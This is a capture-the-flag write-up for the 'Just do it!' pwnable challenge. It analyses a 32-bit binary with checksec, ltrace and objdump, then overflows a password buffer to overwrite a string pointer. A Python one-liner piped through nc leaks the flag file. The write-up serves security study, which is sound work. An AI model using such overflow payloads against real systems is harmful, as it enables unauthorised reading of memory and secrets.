Just do it! (Pwnable)

This challenge was not very hard. I started by retrieving informations of the binary.

$ mv just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa just_do_it

$ ls -lh just_do_it 
-rwxr-xr-x 1 quentin quentin 7,7K sept.  4 10:04 just_do_it

$ file just_do_it 
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped

$ ./checksec.sh/checksec --file just_do_it 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No	0		2	just_do_it

From the protection field, only the NX bit is enable, not stripped, dynamically linked and the size is 7,7K. I then did some tests to see how the binary works. But at the first try I get an error “file open error. : No such file or directory”. After a check with ltrace, the binary try to open a file “flag.txt” and exit if it can’t.

$ echo toto>flag.txt

$ ./just_do_it 
Welcome my secret service. Do you know the password?
Input the password.
toto
Invalid Password, Try Again!

$ ltrace ./just_do_it 
__libc_start_main(0x80485bb, 1, 0xffbfb964, 0x8048710 <unfinished ...>
setvbuf(0xf76ee5a0, 0, 2, 0)                                                                = 0
setvbuf(0xf76eed60, 0, 2, 0)                                                                = 0
setvbuf(0xf76eecc0, 0, 2, 0)                                                                = 0
fopen("flag.txt", "r")                                                                      = 0x9524008
fgets("toto\n", 48, 0x9524008)                                                              = 0x804a080
puts("Welcome my secret service. Do yo"...Welcome my secret service. Do you know the password?
)                                                 = 53
puts("Input the password."Input the password.
)                                                                 = 20
fgets(toto
"toto\n", 32, 0xf76ee5a0)                                                             = 0xffbfb898
strcmp("toto\n", "P@SSW0RD")                                                                = 1
puts("Invalid Password, Try Again!"Invalid Password, Try Again!
)                                                        = 29
+++ exited (status 0) +++

$ ./just_do_it 
Welcome my secret service. Do you know the password?
Input the password.
P@SSW0RD
Invalid Password, Try Again!

After some test, the binary ask for a password. I found it (P@SSW0RD) thanks to ltrace but this is not enough to pass this step.

I then check the assembly code and I realized that it did not interest to pass the password request because it only change the output of the program.

$ objdump -d -M intel just_do_it
...
 80486e7:	75 08                	jne    80486f1 <main+0x136>
 80486e9:	a1 34 a0 04 08       	mov    eax,ds:0x804a034
 80486ee:	89 45 f4             	mov    DWORD PTR [ebp-0xc],eax
 80486f1:	83 ec 0c             	sub    esp,0xc
 80486f4:	ff 75 f4             	push   DWORD PTR [ebp-0xc]
 80486f7:	e8 64 fd ff ff       	call   8048460 <puts@plt>
...

So I test an easy overflow on the password input.

$ python -c 'print "A"*20'|./just_do_it 
Welcome my secret service. Do you know the password?
Input the password.
Segmentation fault (core dumped)

A segfault with only 20 bytes? While the “fgets” function can read 32 bytes? (cf: ltrace on top) After some check with GDB, I found that the segfault occurs when the “put” function is executed because the overflow overwrite the address of the strings “Invalid Password, Try Again!” in the stack. So we can print every strings present in the binary thanks to that bug. After some others GDB test, I found a padding of 20 bytes before rewrite the address of the strings.

The first step done by the binary is:

- Open the file “flag.txt”

- Read it content and store it at an address of the data segment.

$ objdump -d -M intel just_do_it
...
 8048648:	83 ec 04             	sub    esp,0x4
 804864b:	ff 75 f0             	push   DWORD PTR [ebp-0x10]
 804864e:	6a 30                	push   0x30
 8048650:	68 80 a0 04 08       	push   0x804a080
 8048655:	e8 e6 fd ff ff       	call   8048440 <fgets@plt>

At the address “0x08048650” we can see the instructions “push 0x804a080” which represent the buffer address of the file content pushed on the stack. So we will use it to display the content of the file “flag.txt”.

$ python -c 'print "A"*20+"\x80\xa0\x04\x08"'|nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

Done.


Quentin Meffre

Computer science student, passionate about Cyber Security.